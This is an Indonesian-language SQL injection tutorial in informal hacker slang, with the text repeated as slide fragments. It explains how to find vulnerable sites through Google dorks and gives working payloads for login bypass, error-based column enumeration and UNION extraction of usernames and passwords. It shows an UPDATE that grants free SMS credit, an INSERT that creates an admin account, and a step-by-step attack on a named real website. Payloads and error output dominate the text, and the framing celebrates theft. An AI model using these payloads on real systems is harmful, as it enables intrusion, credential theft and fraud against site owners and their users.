SQL INJECTION ::Injection::
==========
ok, setelah basa basi diatas gw mulai neh ..hehehe
untuk menginject sql ini anda perlu memperhatikan input-inputan dalam situs
itu yang sekiranya connect dengan SQL database situs itu, atau bisa juga
dengan menambah dari link url di kotak browser anda semisal :
....asp/productID=1'[sql query/string. untuk mencari target yang vuln seperti
kondisi diatas anda perlu mencarinya yang .asp nah seperti
biasa....GOOGLING!!! hehehe
key wordnya di google adalah :
1. allinurl:.co.id/login.asp
2. allinurl:.com/admin.asp
semuannya itu banyak kombinasinya lainnya itu tergantung seberapa jauh anda
kreatif dalam mencari target di google.nah, kanre disini gw bahas cara inject
ke situs web to sms so searchnya : asp,web to sms atw Send SMS, ASP
ok, misal kita dapet target www.apes.com, nah lihat dah ada inputan yang
masuk ke database itu ga, misalnya search product, member login, atw admin
login :) setelah itu kita isa inject pake sql "umum" stringnya : ' or 1=1-disini kita lihat kalau 1=1 itu nialinya true dan tanda -- itu adalah marknya
SQL kalau di C++/C itu // /* jadi setelah tanda Mark perintah selanjutnya
tidak dijalankan. nah klo beruntung dapet /admin.asp kita inject seperti
diatas itu bisa lho kita masuk sebagai admin! ini terjadi di situs berita
nasional di indonesia...
nah, klo ga dapet dir adminya yah kita cari kotak input yang kiranya connect
ke database situs itu, contoh isa di login, member, search, dll. kita masukan
debugging codenya : ' having 1=1-- jreeeeeng.....ini musti diinget n kudu di
pake setiap klo mo inject, kita injet di :
userid
Password

: ' having 1=1-:fuzk3

lalu....jreeeeeeng....ERROR!!!!
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'UserDB.userid' is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
member/log_right.asp, line 25
tuh ketahuan ada kolom UserDB.userid, klo udah gini gemana lagi dungs? ok
kita loop lagi sekarang kita inject : ' group by UserDB.userid -- atau '
group by UserDB.userid having 1=1-- disini kita gunain perintah group by
untuk menggroup kolom ingin kita lihat....ehehe...muncul error lagi, kali ini
beda choi...
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'UserDB.userpass' is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
member/log_right.asp, line 25
nah sekarang kita tau apa aja kolomnya...hehehe
penerapan selanjutanya adalah misal situs itu adalah situs pengiriman SMS
sedunia yang kalo kita membernya kita bisa send sms dari web, namun harus ada
account yang digunakan untuk mengirim sms itu, jadi account itu harus ada
nilainya dan untuk itu kita harus mengisinya dengan cara membelinya...ok ok
NO CARDING HERE!!! heheheh...so gemana neh??? karena kita ini orang-orang
kere hehehe so kita inject aja....sebelumnya kita harus jadi member kan
gratis ini daftarnya...
setelah kita jadi member dengan id : fuzk3 dan pass: Vero...kita log ke situs
itu dengan id kita, cari tahu string khusus yang digunakan web itu untuk
menghitung account sms kita, misalnya : cell
nah, inilah injectnya....cari login inputan lagi misal /member.asp nah disitu
ada input box id dan pass...kita Inject dengan :
' UPDATE [namadatabase] SET [charkhusus] = [nilai] WHERE [namakolom] =
'[char_id]'-contoh :
' UPDATE UserDb set cell=100 where userid ='fuzk3'-- (inget neh)
sep, nah klo muncul error : userid not found kita isa cari input di forgot
password : dengan inputan sama...jreeen ketika di jalankan ga ada error apaapa..kembali login lalu...jreeeeeenng...liha cell mu itu waduh 100 cell enak
neh sms seratus kali....kiekiekie...SUKSES BRO!!! :)

Nah, klo dah dapet targetnya sekarang tinggal input SQL Querynya di
input boxnya :
www.target.com/ login.asp >> contoh target
www.target.com/ login.asp? err=Invalid_ password >> persan error yang
dapat di eksploitasi seperti biasa kalau ingin cari n tes vuln
engganya tuh
situs kita ketikan ' having 1=1-- di input box atau URL error tadi ,
contoh : www.target.com/ login.asp? err=' having 1=1-- then,....
Microsoft OLE DB Provider for SQL Server (0x80040E14)
Column 'Users.UserID' is invalid in the select list because it is
not contained in an aggregate function and there is no GROUP BY clause
itu error messagesnya, kini kita group field UserID dari table
Users,
stringnya : ' group by UserID -then,...
Microsoft OLE DB Provider for SQL Server (0x80040E14)
Column 'Users.ClientName' is invalid in the select list
because it is not contained in either an aggregate function or the
GROUP BY clause.
muncul lagi error seperti itu....lalu lagi kita Group. Kini
stringnya
adalah ' group by
field1,field2 -contoh : ' group by UserID,ClientName -then,...
Microsoft OLE DB Provider for SQL Server (0x80040E14)
Column 'Users.UserName' is invalid in the select list because it is
not contained in either an aggregate function or the GROUP BY clause.
trus group by lagi, hal ini kita lakukan (proses looping) sampai
semua field kita ketahui..... .makanya harus sabar, kalau engga ga bakal
tembus
apabila sudah lama melakukan looping dan akhirnya ketika group
terakhir
kita lakukan dan tidak keluar error messagesnya maka error yang
terakhir adalah field yg terakhir.... .field .field table itu bisa panjang
sekali, tergantung admin yang masangnya jadi susah kalau maen teabk2an
ajah....contoh field yang pernah gw temuin : ' group by
UserID,ClientName, UserName, Password, PhysicalAddress, PhoneNumber, Email,
OperatingSystem, PrefferredGraphi cFormat
-- >> ada 9 field!!! jangan males dalam proses Looping :P
setelah dapet semua field, kini yang kita lakukan adalah mencari
siapa aja user yang ada dalam table Users dan kolom UserName...
caranya? kita pake Union apa itu UNION??? union adalah perintah SQL
dimana ia dapat menggabungkan dua SELECT list tapi kalau pengen gunain
Union ini kita harus tahu ada berapa field dalam table tadi
sintaksnya gini :
select field1, field2, … field_n from tables
UNION
select field1, field2, … field_n
from tables;
nah biasanya dalam SQL QUERY di input box username itu mereka bikin
query select * from Users where UserName =='"+login+" ' and Password='"+
pass"'"; nah
kalau begitu kita masukin syntax sql union untuk melihat username : '
union select min(UserName) ,1,1,1 from Users where username > 'a'-jadi hasilnya : select * from Users where UserName ==' union select
min(UserName) ,1,1,1 from Users where username > 'a'--and
Password='"+ pass"'"; gitu kiranya, jadi nanti akan muncul error
messages lagi yang akan menampilkan sebuah username lebih dari huruf a
,contoh:
Error Type:
Microsoft OLE DB Provider for SQL Server (0x80040E07)
Syntax error converting the varchar value 'Agile' to a column of
data type int. /
tuh lihat kan ada user dengan nama Agile...lalu looping lagi pake
string union tadi nanti akan muncul username2 lain....lalu bagaimana
dengan passwordnya? ??
ok union beraksi kembali : ' union select min
(UserName),1, 1,1,1,1,1, 1,1
from Users where username > 'Agile'-lalu akan muncul error yang memberitahukan passwordnya, contoh :
Error Type:
Microsoft OLE DB Provider for SQL Server (0x80040E07)
Syntax error converting the varchar value 'Surfer' to a column of
data type int. /
kalau dah gini kita bisa masuk dengan Username Agile dan passwordnya
Surfer...hehehe
selamat yah!
btw, kita juga ingin dong bisa INSERT databasenya. ....
caranya : karena ktia sudah tahu field2nya maka stringnya jadi : '
insert into table values
(field1,field2, ....,field_ n)-misalkan ada field sebagai berikut :
'Users.UserID'
'Users. Username'
'Users.Password'
'Users.FName'
'Users.LName'
'Users.EmailAddress '
'Users.Administrato r'
itu berarti ada 7 field! Ok kita masukan menurut string tadi : '
insert into Users values
(0,'lucifer' ,'lucifer' ,'lu','cid' ,'a@a.com',1)-- >> artinya kita
masukan id kita dalam urutan 0, lalu username 'lucifer', password 'lucifer'
Fname (frontName)
itu 'lu', Lname(LastName) sebagai 'cid', dan EmailAddress 'a@a.com'......
coba kita login dengan user buatan kita tadi....BINGO! selamat anda
berhasil menjebol database situs target.....
case: http://playcentre.org.nz/
1. cari page yang vulnerable (cth

Pilih salah satu menu
2. test error atau ga pakai ' atau and 1=0--

3. di balikin lagi ke normal errornya pake and 1=1--
4. cari tau seberapa banyak kolom yang ada pada table bersangkutan dengan
Order by
cth: order by 16-kolom yang tepat ada di halaman yang normal sebelum error page. misal
order by 17 error, lalu order by 16 tidak error maka ada 16 kolom
5. kolom sudah diketahui sekarang cari tau bagaimana cara buat liat kolom
mana yang vulnerable untuk di inject.
cmd : id=-60 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6-setelah itu nanti akan keluar di webpage untuk nomor kolom yg bisa di inject
cth : 2

6. sesudah tau kolom mana yang vulnerable maka selanjutnya cari tau versi
dari database tersebut. yg vulnerable adalah mysql 5 karena ada fitur schema
untuk storing prosedur. Mysql 4 tidak ada jd harus tebak2an
cmd : http://playcentre.org.nz/product.php?id=-60 union select
1,version(),3,4,5,6,7,8,9,0,1,2,3,4,5,6—
7. sesudah tau kolom mana yang vulnerable maka selanjutnya cari tau table
lists yang ada di database tsb.
cmd : id=-60 union select
1,group_concat(table_name),3,4,5,6,7,8,9,0,1,2,3,4,5,6 from
information_schema.tables-http://www.puremango.co.uk/hashes.php
8. sesudah tau nama table dan target yang ada maka cari tau nama kolom2nya
cmd : id=-60 union select 1,column_name,3,4,5,6,7,8,9,0,1,2,3,4,5,6 from
information_schema.columns where table_name=0x23nfsd120-table name di convert dahulu ke bin2hex format
9. sesudah tau nama kolom dan table maka selanjutnya keluarin isi datanya
dengan
cmd : id=-60 union select
1,2,group_concat(Coloumn1,coloumn2,coloumn3...),4,5,6,7,8,9,0,1,2,3,4,5,6
from namatable—
id,login,password,email,admintype,adminof,ts
Injection sql
Injection sql
Injection sql
Injection sql
Injection sql
Injection sql
Injection sql

Injection sql

  • 1.
    SQL INJECTION ::Injection:: ========== ok,setelah basa basi diatas gw mulai neh ..hehehe untuk menginject sql ini anda perlu memperhatikan input-inputan dalam situs itu yang sekiranya connect dengan SQL database situs itu, atau bisa juga dengan menambah dari link url di kotak browser anda semisal : ....asp/productID=1'[sql query/string. untuk mencari target yang vuln seperti kondisi diatas anda perlu mencarinya yang .asp nah seperti biasa....GOOGLING!!! hehehe key wordnya di google adalah : 1. allinurl:.co.id/login.asp 2. allinurl:.com/admin.asp semuannya itu banyak kombinasinya lainnya itu tergantung seberapa jauh anda kreatif dalam mencari target di google.nah, kanre disini gw bahas cara inject ke situs web to sms so searchnya : asp,web to sms atw Send SMS, ASP ok, misal kita dapet target www.apes.com, nah lihat dah ada inputan yang masuk ke database itu ga, misalnya search product, member login, atw admin login :) setelah itu kita isa inject pake sql "umum" stringnya : ' or 1=1-disini kita lihat kalau 1=1 itu nialinya true dan tanda -- itu adalah marknya SQL kalau di C++/C itu // /* jadi setelah tanda Mark perintah selanjutnya tidak dijalankan. nah klo beruntung dapet /admin.asp kita inject seperti diatas itu bisa lho kita masuk sebagai admin! ini terjadi di situs berita nasional di indonesia... nah, klo ga dapet dir adminya yah kita cari kotak input yang kiranya connect ke database situs itu, contoh isa di login, member, search, dll. kita masukan debugging codenya : ' having 1=1-- jreeeeeng.....ini musti diinget n kudu di pake setiap klo mo inject, kita injet di : userid Password : ' having 1=1-:fuzk3 lalu....jreeeeeeng....ERROR!!!! Error Type: Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'UserDB.userid' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. member/log_right.asp, line 25 tuh ketahuan ada kolom UserDB.userid, klo udah gini gemana lagi dungs? ok kita loop lagi sekarang kita inject : ' group by UserDB.userid -- atau ' group by UserDB.userid having 1=1-- disini kita gunain perintah group by untuk menggroup kolom ingin kita lihat....ehehe...muncul error lagi, kali ini beda choi... Error Type: Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'UserDB.userpass' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. member/log_right.asp, line 25 nah sekarang kita tau apa aja kolomnya...hehehe
  • 2.
    penerapan selanjutanya adalahmisal situs itu adalah situs pengiriman SMS sedunia yang kalo kita membernya kita bisa send sms dari web, namun harus ada account yang digunakan untuk mengirim sms itu, jadi account itu harus ada nilainya dan untuk itu kita harus mengisinya dengan cara membelinya...ok ok NO CARDING HERE!!! heheheh...so gemana neh??? karena kita ini orang-orang kere hehehe so kita inject aja....sebelumnya kita harus jadi member kan gratis ini daftarnya... setelah kita jadi member dengan id : fuzk3 dan pass: Vero...kita log ke situs itu dengan id kita, cari tahu string khusus yang digunakan web itu untuk menghitung account sms kita, misalnya : cell nah, inilah injectnya....cari login inputan lagi misal /member.asp nah disitu ada input box id dan pass...kita Inject dengan : ' UPDATE [namadatabase] SET [charkhusus] = [nilai] WHERE [namakolom] = '[char_id]'-contoh : ' UPDATE UserDb set cell=100 where userid ='fuzk3'-- (inget neh) sep, nah klo muncul error : userid not found kita isa cari input di forgot password : dengan inputan sama...jreeen ketika di jalankan ga ada error apaapa..kembali login lalu...jreeeeeenng...liha cell mu itu waduh 100 cell enak neh sms seratus kali....kiekiekie...SUKSES BRO!!! :) Nah, klo dah dapet targetnya sekarang tinggal input SQL Querynya di input boxnya : www.target.com/ login.asp >> contoh target www.target.com/ login.asp? err=Invalid_ password >> persan error yang dapat di eksploitasi seperti biasa kalau ingin cari n tes vuln engganya tuh situs kita ketikan ' having 1=1-- di input box atau URL error tadi , contoh : www.target.com/ login.asp? err=' having 1=1-- then,.... Microsoft OLE DB Provider for SQL Server (0x80040E14) Column 'Users.UserID' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause itu error messagesnya, kini kita group field UserID dari table Users, stringnya : ' group by UserID -then,... Microsoft OLE DB Provider for SQL Server (0x80040E14) Column 'Users.ClientName' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. muncul lagi error seperti itu....lalu lagi kita Group. Kini stringnya adalah ' group by field1,field2 -contoh : ' group by UserID,ClientName -then,... Microsoft OLE DB Provider for SQL Server (0x80040E14) Column 'Users.UserName' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
  • 3.
    trus group bylagi, hal ini kita lakukan (proses looping) sampai semua field kita ketahui..... .makanya harus sabar, kalau engga ga bakal tembus apabila sudah lama melakukan looping dan akhirnya ketika group terakhir kita lakukan dan tidak keluar error messagesnya maka error yang terakhir adalah field yg terakhir.... .field .field table itu bisa panjang sekali, tergantung admin yang masangnya jadi susah kalau maen teabk2an ajah....contoh field yang pernah gw temuin : ' group by UserID,ClientName, UserName, Password, PhysicalAddress, PhoneNumber, Email, OperatingSystem, PrefferredGraphi cFormat -- >> ada 9 field!!! jangan males dalam proses Looping :P setelah dapet semua field, kini yang kita lakukan adalah mencari siapa aja user yang ada dalam table Users dan kolom UserName... caranya? kita pake Union apa itu UNION??? union adalah perintah SQL dimana ia dapat menggabungkan dua SELECT list tapi kalau pengen gunain Union ini kita harus tahu ada berapa field dalam table tadi sintaksnya gini : select field1, field2, … field_n from tables UNION select field1, field2, … field_n from tables; nah biasanya dalam SQL QUERY di input box username itu mereka bikin query select * from Users where UserName =='"+login+" ' and Password='"+ pass"'"; nah kalau begitu kita masukin syntax sql union untuk melihat username : ' union select min(UserName) ,1,1,1 from Users where username > 'a'-jadi hasilnya : select * from Users where UserName ==' union select min(UserName) ,1,1,1 from Users where username > 'a'--and Password='"+ pass"'"; gitu kiranya, jadi nanti akan muncul error messages lagi yang akan menampilkan sebuah username lebih dari huruf a ,contoh: Error Type: Microsoft OLE DB Provider for SQL Server (0x80040E07) Syntax error converting the varchar value 'Agile' to a column of data type int. / tuh lihat kan ada user dengan nama Agile...lalu looping lagi pake string union tadi nanti akan muncul username2 lain....lalu bagaimana dengan passwordnya? ?? ok union beraksi kembali : ' union select min (UserName),1, 1,1,1,1,1, 1,1 from Users where username > 'Agile'-lalu akan muncul error yang memberitahukan passwordnya, contoh : Error Type: Microsoft OLE DB Provider for SQL Server (0x80040E07) Syntax error converting the varchar value 'Surfer' to a column of data type int. / kalau dah gini kita bisa masuk dengan Username Agile dan passwordnya Surfer...hehehe
  • 4.
    selamat yah! btw, kitajuga ingin dong bisa INSERT databasenya. .... caranya : karena ktia sudah tahu field2nya maka stringnya jadi : ' insert into table values (field1,field2, ....,field_ n)-misalkan ada field sebagai berikut : 'Users.UserID' 'Users. Username' 'Users.Password' 'Users.FName' 'Users.LName' 'Users.EmailAddress ' 'Users.Administrato r' itu berarti ada 7 field! Ok kita masukan menurut string tadi : ' insert into Users values (0,'lucifer' ,'lucifer' ,'lu','cid' ,'a@a.com',1)-- >> artinya kita masukan id kita dalam urutan 0, lalu username 'lucifer', password 'lucifer' Fname (frontName) itu 'lu', Lname(LastName) sebagai 'cid', dan EmailAddress 'a@a.com'...... coba kita login dengan user buatan kita tadi....BINGO! selamat anda berhasil menjebol database situs target.....
  • 5.
    case: http://playcentre.org.nz/ 1. caripage yang vulnerable (cth Pilih salah satu menu
  • 6.
    2. test erroratau ga pakai ' atau and 1=0-- 3. di balikin lagi ke normal errornya pake and 1=1--
  • 7.
    4. cari tauseberapa banyak kolom yang ada pada table bersangkutan dengan Order by cth: order by 16-kolom yang tepat ada di halaman yang normal sebelum error page. misal order by 17 error, lalu order by 16 tidak error maka ada 16 kolom
  • 8.
    5. kolom sudahdiketahui sekarang cari tau bagaimana cara buat liat kolom mana yang vulnerable untuk di inject. cmd : id=-60 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6-setelah itu nanti akan keluar di webpage untuk nomor kolom yg bisa di inject cth : 2 6. sesudah tau kolom mana yang vulnerable maka selanjutnya cari tau versi dari database tersebut. yg vulnerable adalah mysql 5 karena ada fitur schema untuk storing prosedur. Mysql 4 tidak ada jd harus tebak2an cmd : http://playcentre.org.nz/product.php?id=-60 union select 1,version(),3,4,5,6,7,8,9,0,1,2,3,4,5,6—
  • 9.
    7. sesudah taukolom mana yang vulnerable maka selanjutnya cari tau table lists yang ada di database tsb. cmd : id=-60 union select 1,group_concat(table_name),3,4,5,6,7,8,9,0,1,2,3,4,5,6 from information_schema.tables-http://www.puremango.co.uk/hashes.php
  • 10.
    8. sesudah taunama table dan target yang ada maka cari tau nama kolom2nya cmd : id=-60 union select 1,column_name,3,4,5,6,7,8,9,0,1,2,3,4,5,6 from information_schema.columns where table_name=0x23nfsd120-table name di convert dahulu ke bin2hex format
  • 11.
    9. sesudah taunama kolom dan table maka selanjutnya keluarin isi datanya dengan cmd : id=-60 union select 1,2,group_concat(Coloumn1,coloumn2,coloumn3...),4,5,6,7,8,9,0,1,2,3,4,5,6 from namatable—
  • 12.